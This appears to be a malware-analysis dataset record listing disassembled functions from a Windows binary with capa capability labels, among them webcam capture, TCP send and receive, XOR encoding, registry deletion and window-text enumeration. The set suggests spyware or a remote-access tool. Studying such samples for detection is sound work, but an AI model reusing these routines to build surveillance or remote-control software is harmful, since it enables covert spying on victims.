joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44aa10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
push rbp
sub rsp, 0x40
mov rbp, rsp
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], rdx
mov dword [rbp + 0x60], r8d
mov rcx, qword [rbp + 0x58]
call fcn.0040fd20
nop
mov rcx, qword [rbp + 0x50]
call fcn.0044ab20
mov rax, qword [rbp + 0x50]
mov rcx, qword [rbp + 0x58]
mov qword [rax + 8], rcx
mov ecx, 2
mov edx, 1
mov r8d, 6
call sub.wsock32.dll_socket
mov rcx, qword [rbp + 0x50]
mov qword [rcx + 0x20], rax
mov word [rbp + 0x30], 2
mov eax, dword [rbp + 0x60]
cmp eax, 0xffff
jbe 0x44aa76
call fcn.0040c1f0
mov ecx, eax
call sub.wsock32.dll_htons
mov word [rbp + 0x32], ax
mov rax, qword [rbp + 0x50]
mov rcx, qword [rax + 8]
call sub.wsock32.dll_inet_addr
mov dword [rbp + 0x34], eax
movsxd rax, dword [rbp + 0x34]
mov ecx, 0xffffffff
cmp rax, rcx
jne 0x44aac7
mov rax, qword [rbp + 0x50]
mov rcx, qword [rax + 8]
call sub.wsock32.dll_gethostbyname
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x44aae7
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
mov dword [rbp + 0x34], eax
mov rax, qword [rbp + 0x50]
mov rcx, qword [rax + 0x20]
lea rdx, [rbp + 0x30]
mov r8d, 0x10
call sub.wsock32.dll_connect
mov rax, qword [rbp + 0x50]
mov byte [rax + 0x1c], 1
nop
lea rcx, [rbp + 0x58]
call fcn.0040fb50
lea rsp, [rbp + 0x40]
pop rbp
ret

Function at 0x44ad70
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push rbp
sub rsp, 0x30
mov rbp, rsp
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], rdx
mov dword [rbp + 0x50], r8d
cmp dword [rbp + 0x50], 0xffffffff
jne 0x44adb7
mov rax, qword [rbp + 0x40]
mov rcx, qword [rax + 0x20]
mov edx, 0x4004667f
lea r8, [rbp + 0x2c]
call sub.wsock32.dll_ioctlsocket_1
cmp eax, 0xffffffff
jne 0x44ae0a
mov dword [rbp + 0x2c], 0xffffffff
mov rcx, qword [rbp + 0x40]
call fcn.0044ab20
jmp 0x44ae0a
mov rax, qword [rbp + 0x40]
mov rcx, qword [rax + 0x20]
mov rdx, qword [rbp + 0x48]
mov r8d, dword [rbp + 0x50]
xor r9, r9
call sub.wsock32.dll_recv
mov dword [rbp + 0x2c], eax
cmp dword [rbp + 0x2c], 0
jne 0x44ade1
mov rcx, qword [rbp + 0x40]
call fcn.0044ab20
cmp dword [rbp + 0x2c], 0xffffffff
jne 0x44ae0a
call sub.wsock32.dll_WSAGetLastError
mov dword [rbp + 0x2c], eax
cmp dword [rbp + 0x2c], 0x2733
jne 0x44ae01
mov dword [rbp + 0x2c], 0
jmp 0x44ae0a
mov rcx, qword [rbp + 0x40]
call fcn.0044ab20
mov eax, dword [rbp + 0x2c]
lea rsp, [rbp + 0x30]
pop rbp
ret
Function at 0x44aea0
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x30
mov rbp, rsp
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], rdx
mov dword [rbp + 0x50], r8d
mov rax, qword [rbp + 0x40]
mov rcx, qword [rax + 0x20]
mov rdx, qword [rbp + 0x48]
mov r8d, dword [rbp + 0x50]
xor r9, r9
call sub.wsock32.dll_send
mov dword [rbp + 0x2c], eax
cmp dword [rbp + 0x2c], 0xffffffff
jne 0x44aef8
call sub.wsock32.dll_WSAGetLastError
mov dword [rbp + 0x28], eax
cmp dword [rbp + 0x28], 0x2733
jne 0x44aeef
mov dword [rbp + 0x2c], 0xffffffff
jmp 0x44aef8
mov rcx, qword [rbp + 0x40]
call fcn.0044ab20
mov eax, dword [rbp + 0x2c]
lea rsp, [rbp + 0x30]
pop rbp
ret

Function at 0x459b50
Capabilities:
Encode data using xor

Disassembly:
mov al, 0xb5
mov r8, rcx
xor edx, edx
mov ecx, edx
and ecx, 0x3f
mov r9, r8
shr r9, cl
and r9b, 0xff
xor al, r9b
add edx, 1
cmp edx, 8
jne 0x459b57
nop
ret

Function at 0x460bb0
Capabilities:
Hash data with md5

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, rbx
mov edx, 0x40
xor r8, r8
call fcn.0040b880
mov byte [rbx], 0x80
mov dword [rbx + 0x50], 0
mov dword [rbx + 0x54], 0
mov dword [rbx + 0x40], 0x67452301
mov dword [rbx + 0x44], 0xefcdab89
mov dword [rbx + 0x48], 0x98badcfe
mov dword [rbx + 0x4c], 0x10325476
lea rcx, [rbx + 0x58]
mov edx, 0x40
xor r8, r8
call fcn.0040b880
mov byte [rbx + 0x98], 0
add rsp, 0x20
pop rbx
ret
Function at 0x462040
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov eax, r8d
mov edx, edx
lea rdx, [rcx + rdx]
cmp rcx, rdx
jae 0x462064
movzx r8, byte [rcx]
xor eax, r8d
imul eax, eax, 0x1000193
add rcx, 1
cmp rcx, rdx
jb 0x46204e
nop
ret

Function at 0x479230
Capabilities:
Get system information on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x68
mov rbp, rsp
mov qword [rbp + 0x28], rbp
mov qword [rbp + 0x80], rcx
mov byte [rbp + 0x88], dl
cmp byte [rbp + 0x88], 0
je 0x47926e
mov rcx, qword [rbp + 0x80]
movzx rdx, byte [rbp + 0x88]
call fcn.0040d360
mov qword [rbp + 0x80], rax
nop
mov rcx, qword [0x00471170]
mov dl, 1
call fcn.004a5af0
mov rcx, qword [rbp + 0x80]
mov qword [rcx + 8], rax
mov rcx, qword [0x00477d18]
mov dl, 1
call fcn.004aa890
mov rcx, qword [rbp + 0x80]
mov qword [rcx + 0x10], rax
mov rcx, qword [0x00477d18]
mov dl, 1
call fcn.004aa890
mov rcx, qword [rbp + 0x80]
mov qword [rcx + 0x18], rax
lea rcx, [rbp + 0x30]
call sub.kernel32.dll_GetSystemInfo
mov rax, qword [rbp + 0x80]
mov ecx, dword [rbp + 0x34]
mov dword [rax + 0x20], ecx
cmp byte [rbp + 0x88], 0
je 0x47932b
mov rcx, qword [rbp + 0x80]
call fcn.0040d3a0
mov qword [rbp + 0x80], rax
jmp 0x47932b
mov rax, qword [rbp + 0x80]
lea rsp, [rbp + 0x68]
pop rbx
pop rbp
ret

Function at 0x4fc7c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbp, rsp
mov rbx, rcx
mov rsi, rdx
mov qword [rbp + 0x60], r8
movzx rax, byte [rbp + 0x70]
mov byte [rbp + 0x70], al
mov rcx, rsi
mov rdx, qword [rbp + 0x60]
mov r8, r9
call sub.kernel32.dll_FindResourceW
mov qword [rbx + 0x20], rax
cmp qword [rbx + 0x20], 0
jne 0x4fc7ff
mov rcx, rbp
call fcn.004fc6e0
mov rcx, rsi
mov rdx, qword [rbx + 0x20]
call sub.kernel32.dll_LoadResource
mov qword [rbx + 0x28], rax
cmp qword [rbx + 0x28], 0
jne 0x4fc81e
mov rcx, rbp
call fcn.004fc6e0
mov rcx, qword [rbx + 0x28]
call sub.kernel32.dll_LockResource
mov rdi, rax
mov rcx, rsi
mov rdx, qword [rbx + 0x20]
call sub.kernel32.dll_SizeofResource
mov rcx, rbx
mov rdx, rdi
mov r8d, eax
call fcn.004fc0a0
lea rsp, [rbp + 0x28]
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x50ee40
Capabilities:
Resume thread

Disassembly:
sub rsp, 0x28
movzx rax, byte [rcx + 0x19]
or al, dl
test al, al
je 0x50ee90
cmp byte [rcx + 0x1d], 0
jne 0x50ee90
cmp byte [rcx + 0x40], 0
jne 0x50ee90
mov byte [rcx + 0x1b], 0
mov byte [rcx + 0x19], 0
mov rcx, qword [rcx + 0x10]
call sub.kernel32.dll_ResumeThread
cmp eax, 1
je 0x50eead
mov rcx, qword [0x004ccdb8]
mov dl, 1
mov r8, qword [0x005c08c0]
call fcn.0043c9e0
mov rcx, rax
call fcn.0040ee20
jmp 0x50eead
mov rcx, qword [0x004ccdb8]
mov dl, 1
mov r8, qword [0x005c08c0]
call fcn.0043c9e0
mov rcx, rax
call fcn.0040ee20
add rsp, 0x28
ret
Function at 0x50fac0
Capabilities:
Suspend thread

Disassembly:
push rbp
sub rsp, 0x40
mov rbp, rsp
mov qword [rbp + 0x28], rbp
mov qword [rbp + 0x50], rcx
mov rax, qword [rbp + 0x50]
movzx rax, byte [rax + 0x1b]
mov byte [rbp + 0x3f], al
nop
mov rax, qword [rbp + 0x50]
mov byte [rax + 0x1b], 1
mov rax, qword [rbp + 0x50]
mov rcx, qword [rax + 0x10]
call sub.kernel32.dll_SuspendThread
mov rcx, qword [rbp + 0x50]
test eax, eax
setge dl
call fcn.0050ecc0
jmp 0x50fb1b
lea rsp, [rbp + 0x40]
pop rbp
ret

Function at 0x50fb40
Capabilities:
Resume thread

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
mov rcx, qword [rbx + 0x10]
call sub.kernel32.dll_ResumeThread
mov esi, eax
mov rcx, rbx
test esi, esi
setge dl
call fcn.0050ecc0
cmp esi, 1
jne 0x50fb6a
mov byte [rbx + 0x1b], 0
add rsp, 0x28
pop rbx
pop rsi
ret

Function at 0x537ec0
Capabilities:
Capture webcam image

Disassembly:
push rbp
sub rsp, 0x60
mov rbp, rsp
mov qword [rbp + 0x48], rbp
mov dword [rbp + 0x70], ecx
mov dword [rbp + 0x78], edx
mov qword [rbp + 0x80], r8
mov rcx, qword [rbp + 0x80]
call fcn.0040fd20
nop
xor ecx, ecx
xor edx, edx
lea r8, [0x005380ac]
xor r9, r9
call sub.user32.dll_FindWindowExA
mov qword [rbp + 0x58], rax
nop
lea rcx, [0x005380b4]
mov edx, 0x40000020
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x28], 1
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0
call sub.AVICAP32.DLL_capCreateCaptureWindowA
mov qword [0x005cd838], rax
mov rcx, qword [0x005cd838]
mov edx, 0x40a
xor r8, r8
xor r9, r9
call sub.user32.dll_SendMessageW
test rax, rax
je 0x537fa1
mov rcx, qword [0x005cd838]
mov edx, 0x432
or r8, 0xffffffffffffffff
xor r9, r9
call sub.user32.dll_SendMessageW
mov rcx, qword [0x005cd838]
mov edx, 0x434
movsxd r8, dword [rbp + 0x70]
xor r9, r9
call sub.user32.dll_SendMessageW
mov rcx, qword [0x005cd838]
mov edx, 0x435
or r8, 0xffffffffffffffff
xor r9, r9
call sub.user32.dll_SendMessageW
nop
lea rcx, [0x005cd830]
mov rdx, qword [rbp + 0x80]
call fcn.004101c0
mov eax, dword [rbp + 0x78]
test eax, eax
jge 0x537fc1
call fcn.0040c1f0
mov ecx, eax
call sub.kernel32.dll_Sleep
mov rcx, qword [0x005cd838]
mov edx, 0x43c
xor r8, r8
xor r9, r9
call sub.user32.dll_SendMessageW
test rax, rax
je 0x538024
mov rcx, qword [0x005cd830]
call fcn.00410ef0
mov rcx, qword [0x005cd838]
mov edx, 0x419
xor r8, r8
mov r9, rax
call sub.user32.dll_SendMessageW
test rax, rax
je 0x538024
mov rcx, qword [0x005cd838]
mov edx, 0x432
or r8, 0xffffffffffffffff
xor r9, r9
call sub.user32.dll_SendMessageW
cmp qword [0x005cd838], 0
je 0x53806a
mov rcx, qword [0x005cd838]
mov edx, 0x40b
xor r8, r8
xor r9, r9
call sub.user32.dll_SendMessageW
mov rcx, qword [0x005cd838]
xor edx, edx
call sub.user32.dll_SetParent
mov rcx, qword [0x005cd838]
mov edx, 0x10
xor r8, r8
xor r9, r9
call sub.user32.dll_SendMessageW
nop
lea rcx, [rbp + 0x80]
call fcn.0040fb50
lea rsp, [rbp + 0x60]
pop rbp
ret
Function at 0x5380c0
Capabilities:
Capture webcam image

Disassembly:
push rbp
sub rsp, 0x60
mov rbp, rsp
mov qword [rbp + 0x48], rbp
mov qword [rbp + 0x70], rcx
mov rcx, qword [rbp + 0x70]
call fcn.0040fd20
nop
xor ecx, ecx
xor edx, edx
lea r8, [0x00538288]
xor r9, r9
call sub.user32.dll_FindWindowExA
mov qword [rbp + 0x58], rax
nop
lea rcx, [0x00538290]
mov edx, 0x40000020
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x28], 1
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0
call sub.AVICAP32.DLL_capCreateCaptureWindowA
mov qword [0x005cd838], rax
mov rcx, qword [0x005cd838]
mov edx, 0x40a
xor r8, r8
xor r9, r9
call sub.user32.dll_SendMessageW
test rax, rax
je 0x538197
mov rcx, qword [0x005cd838]
mov edx, 0x432
or r8, 0xffffffffffffffff
xor r9, r9
call sub.user32.dll_SendMessageW
mov rcx, qword [0x005cd838]
mov edx, 0x434
mov r8d, 0x64
xor r9, r9
call sub.user32.dll_SendMessageW
mov rcx, qword [0x005cd838]
mov edx, 0x435
or r8, 0xffffffffffffffff
xor r9, r9
call sub.user32.dll_SendMessageW
nop
lea rcx, [0x005cd830]
mov rdx, qword [rbp + 0x70]
call fcn.004101c0
mov rcx, qword [0x005cd838]
mov edx, 0x43c
xor r8, r8
xor r9, r9
call sub.user32.dll_SendMessageW
test rax, rax
je 0x538204
mov rcx, qword [0x005cd830]
call fcn.00410ef0
mov rcx, qword [0x005cd838]
mov edx, 0x419
xor r8, r8
mov r9, rax
call sub.user32.dll_SendMessageW
test rax, rax
je 0x538204
mov rcx, qword [0x005cd838]
mov edx, 0x432
or r8, 0xffffffffffffffff
xor r9, r9
call sub.user32.dll_SendMessageW
cmp qword [0x005cd838], 0
je 0x53824a
mov rcx, qword [0x005cd838]
mov edx, 0x40b
xor r8, r8
xor r9, r9
call sub.user32.dll_SendMessageW
mov rcx, qword [0x005cd838]
xor edx, edx
call sub.user32.dll_SetParent
mov rcx, qword [0x005cd838]
mov edx, 0x10
xor r8, r8
xor r9, r9
call sub.user32.dll_SendMessageW
nop
lea rcx, [rbp + 0x70]
call fcn.0040fb50
lea rsp, [rbp + 0x60]
pop rbp
ret
Function at 0x53b3a0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push rbp
push rbx
sub rsp, 0xa8
mov rbp, rsp
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x48], rbp
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdx
nop
lea rcx, [rbp + 0x78]
mov rdx, qword [rbp + 0xc8]
call fcn.00410240
mov rcx, qword [rbp + 0x78]
call fcn.0053a8a0
mov byte [rbp + 0x83], al
cmp byte [rbp + 0x83], 0
jne 0x53b413
lea rcx, [rbp + 0x78]
mov edx, 1
mov r8d, 1
call fcn.00411590
mov rax, qword [rbp + 0xc0]
mov rax, qword [rax + 8]
mov qword [rbp + 0x98], rax
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0xc8]
call fcn.0053c580
mov qword [rbp + 0x90], rax
cmp qword [rbp + 0x90], 0
je 0x53b566
nop
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0x90]
call fcn.0053adb0
mov rcx, qword [rbp + 0xc0]
lea rdx, [rbp + 0x54]
call fcn.0053b6d0
test al, al
je 0x53b546
lea rcx, [rbp + 0x70]
xor edx, edx
mov r8d, dword [rbp + 0x58]
add r8d, 1
call fcn.0040fe50
mov eax, dword [rbp + 0x54]
sub eax, 1
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jl 0x53b545
mov eax, dword [rbp + 0x58]
add eax, 1
mov dword [rbp + 0x88], eax
mov rcx, qword [rbp + 0x70]
call fcn.00410ef0
mov rcx, qword [rbp + 0x90]
mov edx, dword [rbp + 0x84]
mov r8, rax
lea r9, [rbp + 0x88]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.advapi32.dll_RegEnumKeyExW
mov rcx, qword [rbp + 0xc0]
mov edx, eax
call fcn.0053acd0
test al, al
je 0x53b531
mov rcx, qword [rbp + 0x70]
call fcn.00410ef0
lea rcx, [rbp + 0x40]
mov rdx, rax
call fcn.00410f80
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0x40]
call fcn.0053b3a0
sub dword [rbp + 0x84], 1
cmp dword [rbp + 0x84], 0xffffffff
jne 0x53b4a5
nop
nop
mov rcx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0x98]
call fcn.0053adb0
mov rcx, qword [rbp + 0x90]
call sub.advapi32.dll_RegCloseKey
cmp byte [0x005cd890], 0
je 0x53b5c5
mov rcx, qword [rbp + 0xc0]
movzx rdx, byte [rbp + 0x83]
call fcn.0053ad90
mov rbx, rax
mov rcx, qword [rbp + 0x78]
call fcn.00410ef0
mov rcx, rbx
mov rdx, rax
mov rax, qword [rbp + 0xc0]
mov r8d, dword [rax + 0x2c]
and r8d, 0x300
xor r9, r9
call sub.advapi32.dll_RegDeleteKeyExW
mov rcx, qword [rbp + 0xc0]
mov edx, eax
call fcn.0053acd0
mov byte [rbp + 0x8f], al
jmp 0x53b604
mov rcx, qword [rbp + 0xc0]
movzx rdx, byte [rbp + 0x83]
call fcn.0053ad90
mov rbx, rax
mov rcx, qword [rbp + 0x78]
call fcn.00410ef0
mov rcx, rbx
mov rdx, rax
call sub.advapi32.dll_RegDeleteKeyW
mov rcx, qword [rbp + 0xc0]
mov edx, eax
call fcn.0053acd0
mov byte [rbp + 0x8f], al
nop
lea rcx, [rbp + 0x40]
call fcn.0040fb50
lea rcx, [rbp + 0x70]
mov edx, 2
call fcn.0040fc30
movzx rax, byte [rbp + 0x8f]
lea rsp, [rbp + 0xa8]
pop rbx
pop rbp
ret

Function at 0x53b6a0
Capabilities:
Delete registry value

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, rdx
call fcn.00410ef0
mov rcx, qword [rbx + 8]
mov rdx, rax
call sub.advapi32.dll_RegDeleteValueW
mov rcx, rbx
mov edx, eax
call fcn.0053acd0
add rsp, 0x20
pop rbx
ret
Function at 0x53cd10
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x98
mov rbp, rsp
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x48], rbp
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rdx
mov qword [rbp + 0xc0], r8
nop
mov rax, qword [rbp + 0xb0]
mov rax, qword [rax + 0x50]
mov rax, qword [rax + 8]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0xb0]
mov rcx, qword [rax + 0x50]
mov rdx, qword [rbp + 0xb8]
call fcn.0053adb0
nop
mov rax, qword [rbp + 0xb0]
mov rcx, qword [rax + 0x50]
lea rdx, [rbp + 0x64]
call fcn.0053b6d0
test al, al
je 0x53ce90
mov rcx, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xb8]
mov r8, qword [rbp + 0xc0]
xor r9, r9
call fcn.0053cb90
lea rcx, [rbp + 0x58]
xor edx, edx
mov r8d, dword [rbp + 0x70]
add r8d, 1
call fcn.0040fe50
xor eax, eax
mov ebx, dword [rbp + 0x6c]
sub ebx, 1
mov dword [rbp + 0x80], eax
cmp dword [rbp + 0x80], ebx
jg 0x53ce8f
sub ebx, eax
add ebx, 1
mov eax, dword [rbp + 0x70]
add eax, 1
mov dword [rbp + 0x84], eax
mov rcx, qword [rbp + 0x58]
call fcn.00410ef0
mov rcx, qword [rbp + 0xb8]
mov edx, dword [rbp + 0x80]
mov r8, rax
lea r9, [rbp + 0x84]
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.advapi32.dll_RegEnumValueW
mov rcx, qword [rbp + 0xb0]
mov rcx, qword [rcx + 0x50]
mov edx, eax
call fcn.0053acd0
test al, al
je 0x53ce7d
mov rcx, qword [rbp + 0x58]
call fcn.00410ef0
lea rcx, [rbp + 0x40]
mov rdx, rax
call fcn.00410f80
mov rcx, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xb8]
mov r8, qword [rbp + 0xc0]
mov r9, qword [rbp + 0x40]
call fcn.0053cb90
add dword [rbp + 0x80], 1
sub ebx, 1
test ebx, ebx
jne 0x53cddf
nop
nop
mov rax, qword [rbp + 0xb0]
mov rcx, qword [rax + 0x50]
mov rdx, qword [rbp + 0x88]
call fcn.0053adb0
nop
lea rcx, [rbp + 0x40]
call fcn.0040fb50
lea rcx, [rbp + 0x58]
call fcn.0040fb50
lea rsp, [rbp + 0x98]
pop rbx
pop rbp
ret
Function at 0x548cb0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov r8, rcx
xor eax, eax
xor r9, r9
sub edx, 1
mov ecx, r9d
cmp ecx, edx
jg 0x548cf0
sub edx, r9d
add edx, 1
mov ecx, eax
and cx, 0xf800
movzx ecx, cx
shr ecx, 0xb
shl eax, 5
or cx, ax
mov eax, ecx
movzx cx, byte [r8]
xor ax, cx
add r8, 1
sub edx, 1
test edx, edx
jne 0x548cc8
nop
ret
Function at 0x55da20
Capabilities:
Set registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x58
mov rbp, rsp
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x78], rdx
mov qword [rbp + 0x80], r8
mov qword [rbp + 0x88], r9
mov rcx, qword [rbp + 0x78]
call fcn.0040fd20
mov rcx, qword [rbp + 0x80]
call fcn.0040fd20
mov rcx, qword [rbp + 0x88]
call fcn.0040fd20
nop
mov byte [rbp + 0x4f], 0
mov rcx, qword [rbp + 0x78]
call fcn.00410ef0
mov rcx, qword [rbp + 0x70]
mov rdx, rax
lea r8, [rbp + 0x40]
call sub.advapi32.dll_RegCreateKeyW
mov dword [rbp + 0x3c], 0
cmp qword [rbp + 0x88], 0
je 0x55da9c
mov rax, qword [rbp + 0x88]
mov eax, dword [rax - 4]
mov dword [rbp + 0x3c], eax
mov rcx, qword [rbp + 0x80]
call fcn.00410ef0
mov rbx, rax
mov rcx, qword [rbp + 0x88]
call fcn.00410ef0
mov ecx, dword [rbp + 0x3c]
test ecx, ecx
jge 0x55dac3
call fcn.0040c1f0
mov rdx, qword [rbp + 0x40]
xor r8, r8
mov r9d, 2
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], ecx
mov rcx, rdx
mov rdx, rbx
call sub.advapi32.dll_RegSetValueExW
test eax, eax
jne 0x55daec
mov byte [rbp + 0x4f], 1
mov rcx, qword [rbp + 0x40]
call sub.advapi32.dll_RegCloseKey
nop
lea rcx, [rbp + 0x78]
mov edx, 3
call fcn.0040fc30
movzx rax, byte [rbp + 0x4f]
lea rsp, [rbp + 0x58]
pop rbx
pop rbp
ret

Function at 0x55db30
Capabilities:
Delete file

Disassembly:
push rbp
sub rsp, 0x270
mov rbp, rsp
mov qword [rbp + 0x28], rbp
mov qword [rbp + 0x280], rcx
mov rcx, qword [rbp + 0x280]
call fcn.0040fd20
nop
nop
lea rcx, [rbp + 0x230]
mov edx, 0x38
xor r8, r8
call fcn.0040b880
lea rcx, [rbp + 0x30]
mov edx, 0x200
xor r8, r8
call fcn.0040b880
lea rcx, [rbp + 0x30]
mov rdx, qword [rbp + 0x280]
call fcn.00433f30
mov qword [rbp + 0x230], 0
lea rax, [rbp + 0x30]
mov qword [rbp + 0x240], rax
mov dword [rbp + 0x238], 3
lea rax, [rbp + 0x250]
or word [rax], 0x10
lea rax, [rbp + 0x250]
or word [rax], 4
lea rcx, [rbp + 0x230]
call sub.shell32.dll_SHFileOperationW
test eax, eax
sete al
mov byte [rbp + 0x26f], al
jmp 0x55dbe7
nop
lea rcx, [rbp + 0x280]
call fcn.0040fb50
movzx rax, byte [rbp + 0x26f]
lea rsp, [rbp + 0x270]
pop rbp
ret
Function at 0x55ded0
Capabilities:
Get disk information

Disassembly:
push rbp
add rsp, 0xffffffffffffff80
mov rbp, rsp
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x90], rcx
mov qword [rbp + 0x98], rdx
mov rcx, qword [rbp + 0x98]
call fcn.0040fd20
nop
mov ecx, 0x104
call fcn.00409280
mov qword [rbp + 0x68], rax
mov ecx, 0x104
call fcn.00409280
mov qword [rbp + 0x60], rax
mov rcx, qword [rbp + 0x98]
call fcn.00410ef0
mov rcx, rax
mov rdx, qword [rbp + 0x68]
mov r8d, 0x104
xor r9, r9
lea rax, [rbp + 0x58]
mov qword [rsp + 0x20], rax
lea rax, [rbp + 0x5c]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x104
call sub.kernel32.dll_GetVolumeInformationW
lea rcx, [rbp + 0x78]
mov rdx, qword [rbp + 0x68]
call fcn.00434230
cmp qword [rbp + 0x78], 0
jne 0x55df87
lea rcx, [rbp + 0x78]
lea rdx, [0x0055e06c]
call fcn.00410240
lea rcx, [rbp + 0x70]
mov rdx, qword [rbp + 0x60]
call fcn.00434230
mov rcx, qword [rbp + 0x68]
call fcn.004092b0
mov rcx, qword [rbp + 0x60]
call fcn.004092b0
mov rcx, qword [rbp + 0x90]
mov edx, 7
lea r8, [0x0055e090]
mov r9, qword [rbp + 0x98]
lea rax, [0x0055e0b0]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x78]
mov qword [rsp + 0x28], rax
lea rax, [0x0055e0b0]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [0x0055e0c0]
mov qword [rsp + 0x40], rax
call fcn.00411440
nop
lea rcx, [rbp + 0x70]
mov edx, 2
call fcn.0040fc30
lea rcx, [rbp + 0x98]
call fcn.0040fb50
mov rax, qword [rbp + 0x90]
lea rsp, [rbp + 0x80]
pop rbp
ret
Function at 0x55e480
Capabilities:
Get graphical window text

Disassembly:
push rbp
sub rsp, 0x90
mov rbp, rsp
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x48], rbp
mov qword [rbp + 0xa0], rcx
mov qword [rbp + 0xa8], rdx
nop
mov dword [rbp + 0x5c], 0
mov rcx, qword [rbp + 0xa8]
xor edx, edx
call sub.user32.dll_GetWindow
mov qword [rbp + 0x60], rax
jmp 0x55e5cb
mov rcx, qword [rbp + 0x60]
call sub.user32.dll_GetWindowTextLengthW
add eax, 1
jno 0x55e50a
call fcn.0040c210
mov dword [rbp + 0x84], eax
lea rcx, [rbp + 0x78]
mov edx, dword [rbp + 0x84]
call fcn.00411160
mov rcx, qword [rbp + 0x78]
call fcn.00410ef0
mov rcx, qword [rbp + 0x60]
mov rdx, rax
mov r8d, dword [rbp + 0x84]
call sub.user32.dll_GetWindowTextW
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jle 0x55e5b9
lea rcx, [rbp + 0x70]
mov rdx, qword [rbp + 0x78]
call fcn.00432490
mov rcx, qword [rbp + 0x60]
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x55e5b9
lea rcx, [rbp + 0x40]
mov rdx, qword [rbp + 0x70]
lea r8, [0x0055e70c]
lea r9, [0x0055e71c]
call fcn.0055e9f0
lea rcx, [rbp + 0x70]
mov rdx, qword [rbp + 0x40]
call fcn.00410240
lea rcx, [rbp + 0x68]
mov edx, 3
mov r8, qword [rbp + 0x68]
mov r9, qword [rbp + 0x70]
lea rax, [0x0055e70c]
mov qword [rsp + 0x20], rax
call fcn.00411440
add dword [rbp + 0x5c], 1
jno 0x55e5b9
call fcn.0040c210
mov rcx, qword [rbp + 0x60]
mov edx, 2
call sub.user32.dll_GetWindow
mov qword [rbp + 0x60], rax
cmp qword [rbp + 0x60], 0
ja 0x55e4f7
mov qword [rbp + 0x88], 0
nop
lea rcx, [rbp + 0x38]
mov edx, dword [rbp + 0x5c]
call fcn.00432dd0
lea rcx, [rbp + 0x88]
mov edx, 3
lea r8, [0x0055e72c]
mov r9, qword [rbp + 0x38]
lea rax, [0x0055e70c]
mov qword [rsp + 0x20], rax
call fcn.00411440
mov dword [rbp + 0x58], 0
cmp qword [rbp + 0x68], 0
je 0x55e62e
mov rax, qword [rbp + 0x68]
mov eax, dword [rax - 4]
mov dword [rbp + 0x58], eax
lea rcx, [rbp + 0x30]
mov rdx, qword [rbp + 0x68]
mov r8d, 1
mov r9d, dword [rbp + 0x58]
sub r9d, 1
jno 0x55e64b
call fcn.0040c210
call fcn.00411530
mov rcx, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0x88]
mov r8, qword [rbp + 0x30]
call fcn.00411310
nop
lea rcx, [rbp + 0x88]
call fcn.0040fb50
nop
lea rcx, [rbp + 0x30]
mov edx, 3
call fcn.0040fc30
lea rcx, [rbp + 0x68]
mov edx, 3
call fcn.0040fc30
mov rax, qword [rbp + 0xa0]
lea rsp, [rbp + 0x90]
pop rbp
ret